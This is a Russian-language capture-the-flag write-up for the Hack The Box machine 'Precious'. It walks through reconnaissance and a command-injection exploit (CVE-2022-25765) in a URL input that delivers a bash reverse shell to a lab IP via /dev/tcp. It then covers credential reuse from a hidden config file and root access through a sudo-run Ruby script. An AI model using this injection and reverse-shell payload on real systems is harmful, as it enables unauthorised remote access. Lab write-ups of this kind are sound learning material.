November 29, 2022

Precious HTB WriteUp by artrone

Разведка

Для начала, как и всегда, сканим наш IP адрес:

Так, увидели, что открыты порты 22 и 80- SSH и HTTP. На 80-м порту мы видим, что по нашему адресу работает сайт с адресом http://precious.htb/

Давайте попытаемся зайти на него:

Не получилось(((( Не беда- добавим его в /etc/hosts:

Так-с, пытаемся зайти снова:

Ага, небогато, но да ладно. Давайте быстро чекнем код элемента на интересные штуки. СПОЙЛЕР: их нет(

В таком случае, давайте найдем что-то интересное иным способом? Используем:

dirbuster (перечислим директории сайта):

gobuster (перечислим поддомены сайта):

Что ж, ничего не нашли. Тогда давайте разбираться с тем, что предлагаем нам основная страница сайта.

Юзер флаг

Что мы имеем? У нас есть поле для ввода адреса сайта, ок.

Нетрудно догадаться, что мы воспользуемся этим для получения reverse shell'a.

Я непродолжительное время пытался допереть как это можно реализовать. Думал что-то типа:

http://precious.htb/bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.183%2F4444%200%3E%261 , где bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.183%2F4444%200%3E%261 - это bash -i >& /dev/tcp/10.10.14.183/4444 0>&1 с параметром "URL Encode" ака зашифрованный пэйлод.

Да, пытался втупую передать запрос на reverse shell, но, к сожалению, не получилось.

Ладно, а как правильно тогда? Изучив полезные статьи, ссылки на которые ниже, я понял, что немного не так делал:

CRLF-инъекции

CVE-2022-25765 aka внедрение команд в url запрос

Итак, если вы догадались- молодец, а если нет, то не беда:

Корректным будет запрос вида: http://localhost/?name=#{..............}

Воспользовавшись данными знаниями, генерим наш запрос:

http://localhost/?name=#{'%20`bash -c "bash -i >& /dev/tcp/10.10.14.183/4444 0>&1"`'}

По синтаксису: %20 - это пробел; bash -c переопределяет остальную часть командной строки, так что она больше не проходит через обработку параметров bash; bash -i >& /dev/tcp/10.10.14.183/4444 0>&1 - это наш reverse shell

Кстати, напомню, что я испльзую https://www.revshells.com/ для создания пэйлода и вам советую:

Стоит отметить, что в качестве ОС выбираем Линукс (см. в сканировании nmap) -> bash -i -> shell bash

Всё, с этим разобрались. Давайте врубим netcat и отправим запрос:

Кул, получили строку. Далее шерстим:

Нашли флаг у другого юзера- henry. Но, как мы видим, у нас нет прав для открытия тхт.

Прописав команду ls -la, увидим скрытую папку. Перейдем туда:

После открытия config, получим учетку юзера henry. Перейдем в SSH:

Так, тут всё понятно - получить юзер флаг:

Увы, скрин потерял, но я в вас верю, хах.

Добыча рут флага

Давайте посмотрим через команду sudo -l наши возможности:

Увидели, что можем открыть файл /opt/update_dependencies.rb

После открытия видим строку "Сравните установленные зависимости с теми, которые указаны в "dependencies.yml""

Круто, давайте создадим символическую ссылку с помощью команды ln -s [исходный файл] [целевой файл] и запустим это всё дело:

Эти циферки с буквами - наш рут флаг. Конгратс!

Кстати, стоит дополнить, что команда sudo /usr/bin/ruby /opt/update_dependencies.rb выглядит именно так потому, что мы может запустить файл по такому "пути" от рута:

Удачи!